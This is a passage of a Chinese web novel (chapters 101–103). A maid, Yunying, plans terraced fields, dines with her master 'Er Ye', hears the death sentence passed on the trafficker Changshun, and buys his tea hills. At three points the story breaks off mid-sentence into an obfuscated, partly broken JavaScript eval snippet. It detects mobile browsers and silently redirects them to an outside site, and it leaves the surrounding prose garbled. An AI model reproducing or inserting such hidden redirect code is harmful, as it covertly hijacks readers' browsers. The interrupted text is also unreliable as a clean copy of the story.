若是在山上找到泉眼,那容易多了,可以直接将竹子制成竹觅,将竹觅插入山体,田与田之间可以用竹觅输水。这个工程非常简单,但却可以实现自流灌溉,算是解决水源不足的一个办法。 而若是山上没泉眼,只在山体附近找到了泉眼,那也不怕,可以在泉眼上营造蓄水池,再想办法把水引到梯田上去。 老伯一开始说话还不利索,可越说他谈行越高。 显然,说到了老伯擅长的领域,他越来越有自信,也越来越觉得,他能够凭本事挣下那二两银子。 果不其然,最后这位老伯也从云莺手中拿走了二两银。 不仅如此,云莺还特意聘请了这位老伯,之后就跟着造梯田的工程队一块干活。 他的任务就是寻找泉眼。 他当差有工钱,且每寻到一个有用的泉眼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14616632|156155||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,云莺另外补贴他一两银子。 这位面上带疤的老伯,听到云莺提出的这个报酬,激动的脸都涨红了。 不过他本就黑瘦,即便脸红了也看不大出来。但老伯浑身颤抖,从此就可看出来,对于这份天上掉下来的馅饼,老伯有多震惊狂喜。 最后,两位老伯你挽着我、我挽着你,踉踉跄跄的离开了小树林,回他们自己的家去了。 他们走远了,云莺还能听到第一个老伯,与第二个老伯说,“还是你有本事,这样一来你就能长久的挣银子了。你有能耐养活自己,你那侄儿侄媳妇,就再也不敢苛待你们老两口了。” 天色早就黑透了,远处的山峰透出蓝黑的色调来。 鸟雀扑棱着翅膀回了巢,蝉鸣虫吟在耳边回荡,这个夜晚,似乎过于美好了。 “啪!哎呀,穗儿快把驱蚊的药膏给我,这边蚊子太多了,都快把我吃掉了。” “给,这就是。哎呀,我就说我忘了什么,原来是忘给姑娘准备驱蚊香囊了。姑娘您下次出门前,可千万提醒我,让我把驱蚊香囊给您准备上。您这一身细皮嫩肉,蚊子最喜欢了。” 可不是喜欢么,等进了车厢,点上灯,云莺就看见,她胳膊上、手指上,让蚊子咬了十好几个大包。 不仅如此,她觉得自己脸上也痒,脖子也痒。 让穗儿看过,穗儿大呼小叫起来,不出意料她脸上和脖子上,也被咬的都是包。 穗儿急坏了,“这可怎么是好?这若是让二爷看见了……” 云莺才想安慰穗儿,二爷怎么会看见? 等他们回到府里,天已经很晚了,她才不会那时候去打扰二爷。等明天或后天见到二爷,她身上的包早消了,二爷哪里还会注意到。 可云莺的话还没说出口,就听外边车夫惶恐的喊了声,“二,二爷,那是二爷过来了吧?” 云莺动作一顿,随即一把掀开旁边车窗上的窗帘。 皎洁的月光照耀下,就见不远处有三匹马火速朝这边奔跑过来。 马儿嘚嘚的马蹄声,在寂静 的夜色下特别明显。 明明只有三匹马,可此时就像是有千军万马来临,那马蹄就踏在云莺的心田上,让她一颗心被踏的软烂。 穗儿在另一侧惊叫,“二爷,真的是二爷。二爷和随云、墨雪来接我们了。” 云莺已经冲动的掀开了马车车帘,站在了高高的车辕上。 车夫跳下马车去迎,云莺正琢磨要不要也跟着跳下去,二爷却已经驱马到了她跟前。 伴随着一道“吁”声,马儿高高的抬起前蹄,就在距离云莺两步远的地方停了下来。 月光下,二爷的面容清俊倜傥,仪态优雅雍容。 他居高临下的俯视着她,“别下来了,就在车上呆着吧。” 二爷又忍不住蹙起剑眉问云莺,“怎么这个时候了,还没回府?” 云莺的心脏还在砰砰猛跳,这一刻的二爷对她来说,就好似天神下凡。 她恍惚到不敢相信眼前的一切是真的,可近在咫尺的这个人,以及那熟悉的口吻和低沉磁性的声音,又无不在告诉她,这一切就是真的。 一切再真实不过。 二爷来寻她了。 云莺眸中流光溢彩,白净的面庞洋溢出似梦似幻的笑容来。 她的语调前所未有的温柔,也前所未有的依赖。她说,“出了点事儿,耽搁了点时间,不过已经解决了,我们这就准备回去。” 二爷似乎注意到她的异常,他呼吸都顿住了,眸光久久的落在云莺身上没有挪开。 许久许久后,二爷才说,“天晚了,先回府去,有什么事儿,等回府后再说。” “好。” 云莺又坐回了马车,而二爷就驱马走在她那侧。 走着走着,车窗帘子被掀开了。 云莺不自在的别过脸去,“天太热了,我透透风。” 回应她的是二爷一道爽朗愉悦的笑声,他温柔的说了一声“好。” 燥热的夏风在此时似乎都变得凉爽起来,云莺却心头燥热,面上一片红云…… 101 晚间闲话 回到县衙已经很晚很晚了。 云莺本想直接回后院,今天的事情等明天起来再与二爷说。 不想才走到二爷的院子前,二爷就侧首过来问她道,“晚上是不是也没吃东西?” 云莺好奇的看向二爷,“您也没吃是不是?” 二爷“嗯”了声,没有告诉云莺,他从后塘村回来,听门口的侍卫说,云莺还没回来,便直接骑着马带着随云与雷霆去接她了。 二爷看着云莺,似乎在等着她的决断。 云莺转身看向穗儿,“你先回去吧,我在二爷这里用过膳再回去。” “好。那奴婢用过膳再过来接姑娘。” 云莺摇摇头,“算了,也没多远,我自己回去就成。你也跟着我跑了一天了,用过饭就休息吧。” “可是,可是……” “没那么多可是,快回去吧。” 打发走穗儿,云莺与二爷一道往花厅里去。 院子里挂着几盏灯笼,随着夜风的吹拂轻轻摇曳起来,连带着灯笼落下的晕黄色的光晕,似乎都飘忽不定。 云莺察觉到二爷的视线落在她身上,她鼓足了勇气看向他,“您这么看着我是做什么?” 二爷却笑了,“你脸上怎么回事儿?蚊子咬的么?” 云莺闻言,条件反射抬起手去摸脸上的红包,结果就露出了,白皙的手面上大大小小的红包来。 二爷面上的笑意顿时就冻结了,他眉头蹙起来,“手上也被咬了?怎么这么厉害。” 说起这个云莺也是心有余悸,“这边蚊子可真毒啊,咬的我又痒又疼。我不止是手和脸被咬了,就连脖子上都多了好几个包。好在已经涂过药膏了,不然痒的人心烦意乱。” 云莺的话落音,看见二爷的视线似乎落在她脖颈处。 她天鹅颈修长白皙,又因为是夏日天热的缘故,今天她穿的是件交领浅碧色绣菡萏花的细丝薄衫。白皙修长的颈项完全luo露在外,甚至就连胸口位置,也微微露出一道挤出的缝隙来。 云莺轻咳一声,掩饰似的抬手摸了摸脖子。 而这一声也提醒了二爷,二爷有些狼狈的转过头去。 可即便如此,他脑海中也控制不住的念起那抹起伏的弧度,与那抹柔软细腻的丰润。 二爷嗓音微哑,提醒云莺说,“下次出门记得带上驱蚊香囊,算了,如今日头正热,你以后少出门就好。” “那怎么行,梯田还没造好,我总要三不五时出去看看进程。另外,我还想买茶山……” 茶山两个字脱口而出,云莺忍不住看了眼二爷,二爷却问,“茶山怎么了?” “二爷,你不反对我典当首饰买茶山了?” “我反对管用么?我要是再反对,你怕不是能当着我的面嚎啕大哭。” “谁哭了?我都这么大的人了,我怎么会哭呢?二爷你别污蔑人。” “哦,不是你哭,那昨天是谁回房后就将丫鬟赶出门,自己在里边呜呜咽咽?” 云莺:“……” 云莺心中一个大写的震惊。 她没哭啊。 她,她就是有些控制不住躁动的心虚,呜呜呜的发泄了几声罢了。难道就是这几声让外人误会了,以为她在哭?而且,还将这事儿传到二爷耳朵里了? 云莺懵逼了。 云莺不知道此时是解释清楚的好,还是就这么含混着,让二爷以为,她昨天真的因为他的拒绝委屈哭了。 若是她解释清楚,二爷会收回让她典当首饰买茶山的决定么? 云莺心里乱糟糟的。 她没注意到,自己何时停下了脚步,又因为她停下来脚步,二爷也跟着停了下来。于是,二爷就注意到她变换不定的面色。 二爷何等敏锐的一个人,几乎是一眼就看破了她的心思,“所以,你昨天没哭?” 二爷微眯着眸子,微微俯身下来审视着她。 云莺如临大敌,头皮发麻。 她想说哭了的,但她又不想对二爷撒谎。毕竟一个慌就要用千百个谎去圆,而只要是谎言,就总有被戳破的一天。 云莺支支吾吾,“我确实没哭,我也不知道谁传的谣言。二爷,您别生气啊。” 二爷说,“我生什么气?”不仅不生气,甚至还有松口气的感觉。 他宁愿这是一场乌龙,也不想她因为他的话哭泣。 二爷面上的表情云淡风轻,云莺却不太信,“您真的不生气么?” “怎么?我不生气你还遗憾了?既如此,我就如你的……” “不不不,二爷男子汉大丈夫,二爷宰相肚里能撑船,您怎么会因为这点小事儿生气呢?再说了,生气多的人老的快,二爷才不气。” “呵。” 两人说着话就到了花厅。 这还是既那日云莺说出拒绝的话后,两人第一次同桌吃饭。 坐在这张圆桌旁,云莺忍不住想起往昔她陪着二爷用膳的场景。 那好像是很久很久以前的事情了。 等下人上膳的时候,云莺就将今日晚归的原因说了说。 说到那两位老伯提的建议,云莺由衷的叹了声,“人都说民间 卧虎藏龙,这话真没错。”还说三个臭皮匠,赛过诸葛亮,这话也非常有道理。 “再多些人给我提议,梯田就能一步步完善出来。兴许都不用等十年八年,等个三两年,梯田上的庄稼就可以收获满满,梯田就能在云归县推行开来。” 二爷给她倒了一盏清水,云莺忙说,“二爷歇一歇,我自己来。您今天去后塘村看珍珠植核的情况,怎么样?事情进展还顺利么?” “还算顺利。” 但也只是还算顺利。 其实问题还很多。 因为植核需要用到利器,而现如今铁是被官府严格管控的。 用铜、铝制造的工具不太顺手,只能重新去匠人处打造新的工具。 再有植核也是个精细的工作,也只有手巧的妇人可以做,男人普遍不太行。而植入珍珠母贝中的东西,究竟是只能用珍珠壳制成,亦或是别的东西也可以,这都没有前例可参照。 可以说,如今的每一个举动,都是摸着石头过河,只能走一步算一步。 二爷简单与云莺说了说植核的事儿,云莺也忍不住跟着叹气。 说到底她也不懂这些,甚至就连造梯田,也是硬着头皮一项项解决问题的。至于养珠……算了,人的精力是有限的,她忙一个梯田就够了,养珠这件事,还是交给二爷处置吧。 膳食很快被端上来了。 因为天色已经很晚了,灶娘考虑到膳后不久两人就要休息,就让人端上来许多好克化的饭食。 二爷还好一点,他有一碗凉粉、一碗凉面,反观云莺,她的吃食是鸡丝粥与一碗鲜虾馄饨。 天太热了,云莺不想吃热的,她只想用些凉的东西。 她就这么眼巴巴的看着二爷,筷子则百无聊赖的,从盘子里夹出一小片凉拌的藕片,放进嘴里慢慢嚼。 二爷注意到她的动静,面上泛起笑意来,“你想吃那个?” 云莺看看凉粉与凉面,都想吃,却只能口不对心的说,“那个都不想吃。” “今天太晚了,灶娘也是怕你吃这些受不住。真要是喜欢,让灶上明天给你做。” 云莺蔫蔫,“也只能这样了。” 二爷打破了食不言的规矩,用膳期间又与云莺说了几句话。 两人说的是中午的饭食。 二爷中午依旧是在里正家蹭了一顿饭,云莺呢,她中午只吃了两块糕点。 “我也是后来才知道,农闲期间,百姓家是不吃午食的。他们也就早起一顿饭,下一顿饭,要等到半下午。” 有的人家穷苦的厉害,甚至一天只吃一顿饭。 不过这个季节野外能吃的东西也多,或是野果子,或是河里的鱼虾,再不济就是山脚下的野菜。 但很多百姓即便弄到了这些东西,也不舍得吃进嘴里。 因为要多攒些拿到集市上换钱,也要多储存些,为冬天做准备。 云莺咽下最后一口馄饨,喟然叹息一声,“还是太穷了,要多想些办法,让百姓都富起来。” “我们不是已经在做了么?包括梯田,包括人工养殖珍珠,甚至就连你说的茶山……慢慢来吧,积贫积弱不是一日造成的,想让云归县脱贫致富,也不是一日两日之功。” “也只能如此了。” 云莺陡然意识到二爷刚才说了什么,立马看 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14616633|156155||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 向二爷,“所以,二爷,你是同意我典当一部分首饰,去买茶山了么?” 二爷看她,“不然呢?真让你捂着被子哭一顿?” 云莺讪然,“都说了,那都是误会。” “误会不误会的,反正若真不让你买那茶山,你怕是能把这县衙哭塌。” 云莺摆手,“不至于,真不至于。” 二爷:“想买就买吧,至于典当首饰,你把你不太喜欢的首饰拿出来,我让随雨跑一趟岭南府。那边相对富裕些,那些首饰也能卖个高价。” “真的么二爷?你要让人帮我典当?” 二爷点头,“你想死当还是活当?” “死当可以么?”云莺试探的问。 “可以。” 二爷言简意赅,脸上的表情也平静。 他说完这句话,就端起茶水喝茶。至于此时此刻他心中想着什么,云莺猜不透,也不敢猜。 一更的梆子敲响了,云莺抑制不住的打了一个哈欠,生理性的泪水也从眼眶中跑了出来。 她忙将泪水擦去,站起身说,“我回去休息了二爷,天实在太晚了。” “好。” “二爷您也别熬了,公事是处理不完的,总得保重了身体,才能有精力去做其余事情。” “嗯,我知道。” 话是这么说,二爷却也站起身,与云莺一道出门去。 云莺走到门口了,才意识到身后跟着一个人。 她抬头看向二爷,“您的寝房在另一侧,您跟我往这边走做什么?二爷,您也没喝酒啊,怎么就醉了?” 二爷哼笑,“你怕是不知道,你家二爷千杯不醉。” “您吹牛的吧?” “不信你问随云他们。” 两人拌着嘴,渐渐走到院子正中,又走到院门口。 二爷依旧与 云莺同行,云莺亚历山大。 再怎么着,她也就是个丫鬟,没的让二爷把她送回去的道理啊。 这话云莺没好意思说,而二爷似乎看出了她的纠结,二爷道:“我今天回后院休息。” 云莺:“……” 她倒是忘了,二爷在后院也是有院子的。 只是是嫌麻烦,亦或是懒得应付会爬床的女人,二爷平日里几乎都住在前院。 但是,偶尔,只是很偶尔的情况下,二爷还是会回后院住一住的。 两人一道往后院走。 此时月亮已经升到正中,洒下的月辉皎洁又神秘。整个大地都陷入沉睡中,万事万物一片安然。 有不知名的花香从院子中飘过,蛐蛐的鸣唱忽高忽低,深夜的风似乎带上了一点大海的味道,有点点腥,但又很凉爽。 “要是白天也能这么凉快就好了。”云莺声音压的很低很低,“这边太热了,又热又晒,蚊子还咬人的厉害。不止是夏季难熬,回南天也不好受,说来说去,这边似乎就冬季好一些,最起码没那么冷。” 但也不是太好。 毕竟在京城,冬天取暖有地龙,可在云归县,取暖完全只能靠火盆。 云莺说,“二爷,您大概要在云归县待多长时间?” “这个说不好。”二爷的语气也很低,低沉低沉的,又带着满满的磁性,似乎是情人间的呢喃,让人耳朵发麻。 二爷自嘲一笑,“你也知道,我是被贬而来,许是要一辈子呆在这里。” “二爷胡说,您肯定不会这样。” 云莺道:“您这么有魄力,又清明中直,陛下但凡不是个昏君,就不会一直让你留在云归县,那是屈才。” “你这样想的么?” “不止我这样想,很多人都这样想……” “哎呦,是云莺姑娘么?姑娘您回来了啊,哎呦,还有二爷……” 似乎才说了几句话,两人已经走到了月洞门口。 守门的婆子很警醒,一听到细微的动静,就赶紧走过来查看。结果,可不就将凑近了说小话的云莺与二爷逮了个正着。 看着月光下那一对碧人,婆子忍不住心里叹息:都说是云莺姑娘有心计,时刻缠着二爷,才这么得宠。可要她说,二爷心里指定也是有云莺姑娘的,不然,看着云莺姑娘的眼神,不可能会那么纵容宠溺。 102 常顺判决 碍于满脸都是蚊子包,云莺在府里歇了两天没出门。 等第三天,她准备去看看其余荒山上梯田开凿的怎么样了,却忽然听小丫鬟说,要开堂了,今天二爷要审常顺。 云莺当即拉了柳儿过来,问她说,“确定今天开堂么,你们从哪里得到的消息?” “大家都在传啊姑娘,具体是不是真的,我也不知道。总归咱们听着前边的动静就是,要是开堂了,咱们再过去旁听也不晚。” 正说着话,又有小丫鬟跑了过来,“升堂了,升堂了,大家快去看啊。” 话落音,看见云莺就站在院子外,小丫鬟愣了愣。 好在云莺管理后院虽然严厉了点,但在某些事情上,她又很宽和。 她就冲小丫鬟摆摆手,“想去就快些去,只时保持安静,尽量不要喧哗。另外,听完审案,尽快回府。” 小丫鬟与旁边的丫鬟婆子闻言,俱都高兴的欢呼,“多谢云莺姑娘”“云莺姑娘最好了”“姑娘放心,我们去去就回。” 府里的人很快走了十多个,片刻后,竟然连憋在院子里许久不出门的木槿都出来了。 经过上次那回事儿,两人不算结仇,可也有些相看两厌。 木槿怨恨云莺不帮她说话,让她不能靠近二爷。云莺则是膈应木槿算计她、利用她,把她当傻子糊弄。 两人相看两厌,木槿也不和云莺说话,带着她的丫鬟如珠就出门了。 恰此刻秋宁也从院里出来了,正好看见了这一幕。 秋宁气哼一声,“我要是你,我拿大耳刮子扇她。什么玩意儿啊,搞得跟你欠了她一样。” 云莺说:“别和她一般见识。她的心性歪了,与她说什么也是无用。” “我才懒得搭理她。”秋宁说,“走啊,去看二爷审案啊。常顺的案子拖了也有好久了,再不审我都险些忘了还有这么个人了。” “你去吧,我就不去了。连我都去凑热闹,传出去不像话。” “行吧,那我就先走一步了。” 秋宁带着她的丫鬟,摇曳生姿的也出了门。 云莺无所事事,干脆沿着县衙走了一圈。 如今正是盛夏七月,府里许多花都开了。 大朵的金光菊肆意绽放,花朵厚重而绚烂。那浓烈的明黄色,热烈张扬的随风舞蹈着,看的人心都明亮起来。 红花玉蕊就载种在通往后院凉亭的道路两旁,每天傍晚时分,树叶间挂满一串串的红色花蕊,花序垂下,花色深红。这种花树傍晚开花,当晨起太阳升起,那满树繁华的热闹景象,就变成了一地红霞。 距离凉亭不远的地方,有一片小池塘。塘中莲叶接天,荷花或粉或红,或如十四五岁的少女一般含苞待放,娉婷袅袅。 云莺折了两支荷花,又剪了两支栀子、一支虎刺梅,以及其余三两样花卉。 她准备回房插瓶,尽管她剪来的花,有的根本不适合插花,但千金难买她喜欢啊。 云莺踱步回了院子,可她不过刚洗干净手,才拿出一只大荷叶式粉彩牡丹纹瓷瓶,秋宁就一边拿手绢擦着头脸上的汗,一边三两步进了花厅。 她脸被晒得红彤彤的,汗水顺着头发丝往下颌滚落,头发都有些凌乱了,衣衫上也有些若有似无的汗水痕迹,整个人看起来有些狼狈。 秋宁还没进来就迫不及待的喊,“热死我了,这天可热死我了。云莺快让你的丫鬟给我端一杯凉茶来,我快被晒干了。还是你聪明,知道在府里呆着,我就不行了。哎呦,真把我晒死了。” 不等云莺吩咐,穗儿已经忙不迭给秋宁端了一杯凉茶过来。熟料秋宁渴坏了,也热坏了,凉茶下肚根本没达到解暑与解渴的效果,秋宁又喊,“再给我端两杯过来。” 云莺放下手中的东西,走到秋宁一旁坐下,“你怎么这么快就回来了?是天太热受不住了么?” “那肯定不是啊,我都出去旁听了,肯定要听完结果才回来。这不,案子已经审完了,我就回来了。” “这么快啊。” “不是我快,是二爷快。” 云莺:“……” 我知道二爷快,额,话好似不能这么说,不然很容易让人想歪,有些影响二爷的光辉形象。 云莺只能错过这个话题不提,转而问起自己最关心的问题,“常顺的案子到底怎么判的?” “嘿嘿,这个问题你问我就问对人了。” 秋宁又喝了两杯凉茶,才巴巴的把案子的事情说给云莺听。 那些被常顺坑了一把的贫民,自然是与常顺解除了那根本不存在的以工抵债契约。不仅如此,鉴于常顺勾结官府,坑害百姓,常顺还要给百姓补偿。另外,有关于这些被他坑了一把的百姓,这几年做工应得的报酬,常顺也要一一给付。 再有,就是常顺拐卖妇女孩童一事了。 “他又不是真的人贩子,就是看谁不顺眼,或是缺钱花了,就挣上这么一笔块钱。不过每年两三个,十多年下来,也有二、三十个被卖。因为年代久了,具体将那些人都卖到哪里去了,常顺自己也记不清楚了。不过因为他拐卖人口的事情传遍了十里八乡,那些家中丢了孩子或姑娘媳 妇的,都找上门来,说是家中的人是被常顺卖了的,还在公堂上时,他们就将常顺打了个头破血流。” 秋宁没什么怜悯心的叹了声,“惨!常顺实在是太惨了!不过谁让他作恶在先呢?” “有的人卖出的时间短暂,常顺还记得大概地方,就给出了地址。至于那些年代久远的,大概率是寻不回来了,那就没有办法了。” “常顺最后被判了什么刑罚?”云莺问。 “死刑啊!”秋宁痛快极了,“死刑,还要没收全部家产。至于那些知情不报的,都被判了五年到十年不等的牢狱之灾。” 云莺听到了自己想听了,满足了。她点点头,“二爷这案子断的公正。” “你这话说的,就跟二爷那个案子断的不公正一样。二爷可是个清官,百姓们在县衙门口都跪下喊二爷‘青天大老爷’呢。” 云莺:“……” 这个“青天大老爷”,应该只是个统称吧? 事实如何又有谁在乎呢,总归二爷为官清正,这是大家有目共睹的事情。 许是这一次称呼他青天,是顺口一说,指不定下一次,二爷就真被人当成青天大老爷中的典范性人物了。 秋宁在云莺这儿坐了一会儿,就回自己院子里去了。 天热的不得了,她又爱出汗,脸上的妆都花了。 秋宁嘟嘟囔囔在着要回去洗个澡,结果都走到院门口了,她又招手让云莺过来。 云莺翻她一个白眼,不情不愿的走过去,“要说什么,你直接说。” 秋宁“啧啧”一声,“我这是和你分享八卦呢,你别不爱听啊。你知道我在县衙门口看到谁了么?” 云莺心思一动,“是木槿吧?” 秋宁打了个响指,“还是你聪明,可不就是她。怪不得打扮的花枝招展的,原来是去二爷跟前孔雀开屏了。” 云莺已经习惯了秋宁的无厘头,她也懒得去纠正秋宁,孔雀开屏一般情况下是雄孔雀追求雌孔雀的行为,而木槿是雌性,二爷是雄性,两人的性别反了。 等等,总觉得这话也有些不对劲。 云莺蹙蹙眉头,不想这些了,只对秋宁说,“你别管她做什么,以后只管离她远些就对了。” “这还用你说,我比你更清楚木槿有多无耻好么?” “不单是无耻的问题……” “行了行了,我心里都有数,你别把我当三岁的小孩儿叮嘱了。你赶紧回去吧,我也得走了。我身上黏糊糊的,都臭了。话说回来,云莺,你怎么都不出汗?你闻起来好香啊……” 秋宁流氓的在云莺脸上揩了一把油,心满意足的回自己院子去了。 云莺恶寒了一下,回房间洗了把脸,就准备去寻二爷。 她也是人,也吃五谷杂粮,她怎么会不出汗? 她也出汗了好吧?还出了很多。 毕竟她刚才也没在屋里闲坐着,她也在院子里转了一圈。 重新梳洗过,云莺问穗儿,“我这样出门可以么?” 穗儿忙点头,“那太可以了姑娘。” 姑娘都没怎么打扮,甚至 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14616634|156155||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 连脂粉都没施。可人长得好看,就只是简单的梳洗一下,也显得整个人容光焕发、昳丽绝艳。 云莺得到穗儿的认可,又在镜子中照了照。确定自己穿戴都得体,她就出门了。 一路往前院去,就在前院门口的位置碰上了二爷。 二爷依旧穿着官服,官帽拿在身后的随云手上。 云莺算是发现了一个华点:二爷非常不喜欢戴官帽。几次见二爷穿官服,官帽都不在他头上,二爷是觉得戴官帽会影响颜值么? 脑中想过这些有的没的东西,动作上却丝毫没耽误。云莺给二爷福了福身,唤了一声“二爷。” 二爷嘴角微微上挑,随即又耷拉下来,“我就猜到你该过来找我了。” 云莺露出讨好的笑来,跟在二爷身侧往里走。 她好听话不断,“二爷清明公正,又为百姓除一大害。听说今天老百姓们都跪在衙门口喊您‘青天大老爷’。二爷,您如今在云归县的名望,如日中天。” 二爷含笑看了他一眼,深邃的眉眼中笑意明亮,“你这是在拍我的马屁?” “二爷胡说,我这那是拍马屁,我这是实话实说。” “实话实说也没用,茶山还没收回来,我也不能现在就把茶山卖给你。” 云莺心里小小的遗憾了一下,不过想想也释然,判决才刚下来,就是要买茶山,那也得等差役们把财产都收上来再说。 她现在就过来,确实来早了。 不过早就早吧,早点过来敲定此事,省的二爷忘了早先答应她的,再把茶山转卖给别人。 云莺心里这么想的,无意识中也就把这话说了出来。 二爷听见这话,哼笑一声,“你放心吧,云归县的富人没几个。那常顺的茶山也不是什么好东西。” 言而总之一句话,有钱的人看不上,没钱的百姓买不起。所有,那茶山最有可能砸在官府手里。 云莺想要,官府的人还巴不得她买呢。 二爷就说,“再等两天,等县衙把贩卖的消息通知下去,你就可以 去买了。” 云莺点头,连连应是。 但是,话又说回来,她的首饰还没典当呢。 “二爷,我一会儿将那些首饰拿过来,您让随雨帮我跑一趟岭南府,行么?” “行,既然已经答应了你,我肯定说话算数。” 云莺连连道谢,然后也不跟着二爷进去了,给二爷福了福身,却是转身就要往自己院子里去。 还是二爷察觉到身后没动静了,回头一看,才发现她都要走到门口了。 二爷都气笑了,“过河拆桥都没你这么快的。” “那我不走,还留下做什么?二爷您还有什么事情需要吩咐我么?” 二爷想了想,还真没什么事情了。不过,就这么放她离开,他又不乐意。 二爷就说,“你准备些土仪之类的东西,亦或是一些耐放的瓜果,这几天我连同书信一道派人送到京城去。” 云莺应好,又问二爷,“还有别的事儿么?” “……没了,行了,你走吧。” 云莺真就没有任何留恋的转过身,三两步走到了门口。 直到她的身影消失在视线内,二爷才回过神,继续往房间去。 天太热,二爷的衣裳都湿了一半。 随云给二爷拎来沐浴的水,与二爷说,“还是应该找个丫鬟过来伺候,天天让属下们做这些事,也不合适。” 二爷将一桶冷水兜头泼下,清凉的水珠顺着他的头发,划过贲张的肌肉,又继续往下滚落。 二爷说,“怎么了,让你们做这些事儿,大材小用了?” 随云点点头,“多少有点吧。” 二爷轻“呵”。 随云又笑着说,“属下还是觉得,应该让云莺姑娘之类的女眷来伺候才更妥当。女子贴心,也会照顾人。若云莺姑娘照顾您,都不需要您吩咐,指定早就把沐浴的水给您准备好了,说不定冰盆和冰碗也备上了。可惜属下是男子,想不到那么多。即便想到了,也分身乏术,没办法将二爷伺候的面面俱到、无微不至。” 103 茶山到手 又两天,常顺的一应财产都被收归到县衙。 这其中一部分财产要给“做工抵债”的百姓,另一部分则给被常顺拐卖了家人的百姓,剩余的…… 已经没有剩余了! 毕竟单是那些百姓做工的工钱,十几年下来也是很大一笔。再有赔偿给那些丢了家人的百姓的钱财,这又是很大一笔。 常顺也只是个小小的茶商而已,他在云归县都没有什么名声,可想而知名下也没有多少产业。 再有常顺事发后,他的家眷就携带家中的现银逃跑了,留给长顺的,也只有一些还没有收回来的货款、他藏得严密的银子,以及一时半会处理不了的田亩和茶山,以及庄子铺子之类。 也是因为没有现银,县衙就迫切需要,将常顺名下那些不动产卖掉换钱。 可云归县穷人多,富人真没几个,再加上常顺注定一死,死人的东西大多数人都很忌讳。 鉴于这种种,常顺名下的庄子、铺子、茶山等,放出的价格非常便宜。 便宜到云莺只花了百十两银子,就将常顺经营了许久的茶山买到手了。 而这些茶山,不是一座,也不是两三座,是整整五座! 因为是打包出售的,云莺也是等契约到手后,才得知了这个“喜讯”。 一时间真把云莺喜的不知如何是好。 不说茶山,再说契约。 因云莺是奴婢,按夏朝律令,奴婢名下是不能有大额私产的。即便有,被举报后,也会收归主人所有。 云莺自然不想为他人做嫁衣……这个他人特指那位二夫人。 是以,在买下茶山时,她央求了二爷,将茶山先记在随云名下。 之所以不记在二爷名下,是担心事情暴露后,外人说闲话。怕影响二爷的官声,以后再出是非。 不说这些闲杂的,只说虽然茶山暂时登记在随云名下,但地契却给了云莺。 云莺将一张地契翻来覆去的看,简直要看出花儿来。明明上边也没什么特别的,也就是些县衙公文,外加一个大红印章,可她就是觉得,这契约那般讨喜。 云莺的注意力终于从地契上移开了,她看着二爷说,“二爷,我明天能请个假么?” “做什么?看你的茶山去?” 云莺连连点头,“穗儿早先和我说,这茶山距离她家很近,也就隔了两个山头的距离。我准备让穗儿带我过去看一看。” 顿了顿,云莺又说,“听说那茶山上的茶,一年可以采摘两次。春茶是三月到五月间,秋茶是九月到十一月份。我没种过茶,关于茶叶的一切我都是道听途说,所以我想实地先看看。” 看过后,心里有了底,然后再决定,今年是只将茶叶采摘了卖了了事儿,还是弄成茶砖茶饼。她也要看看茶叶的产量如何,质量如何,考虑下要不要改换新的茶株。 云莺的事情很多,但不管去弄茶山还是梯田,她都有比这更重要的事儿。 那就是,她还是二爷院子里的管事儿。 这是主职,其余都是副业,没有把副业放在主业前头的道理。 再来了,若说造梯田是得了二爷的授意,是为二爷办差的话,那茶山可是她自己的买卖。 枉顾公事只做自己的私事,若她是个主子,她得把这样的下人发卖了了事儿。 云莺也觉得自己的要求有些过分。 其实她也知道,派个人帮她管理茶山最好不过。但是总要自己心里有了谱,才好将这摊子事儿交给别人管理吧。 若不然,对方与他说收入,说茶种,她一概不知,那不静等着让人糊弄她么? 云莺有非出去不可的理由,但没有非出去不可的底气。 她看二爷沉默的看着她不说话,就以为二爷也不高兴了,云莺就试探着说,“要不……我把茶山分你一半?再不行……这茶山就算是咱们俩合伙的,以后的收入我给你分成?” 二爷觉得“合伙”两个字很动听,但分成又是什么鬼? 二爷脸都黑了,“我像是缺你那三瓜两枣么?” 云莺点了两下头,又赶紧停住,“可您前一段时间不是还说,您手头也有点紧,还要靠家里人接济……” 二爷被噎住了,平生头一次体会到搬起石头砸自己的脚是是什么滋味儿。 他揉了揉额头,“我不要你的茶山,也不要你的分成,你自己把茶山打理好,挣了钱只当是你的私房。至于出门……你想去就去,只是天黑前要赶回县衙。” 云莺不敢点头,因为她不确定此去当天就能回来。 穗儿可是说了,她家距离县衙有些远。 更别说,她还要视察那五座茶山,没个三两天,她能视察完么?爬山又不是眨眨眼就能完成的事情。 二爷见云莺没应声,从公文中抬眸看向她,“怎么,不想回?” 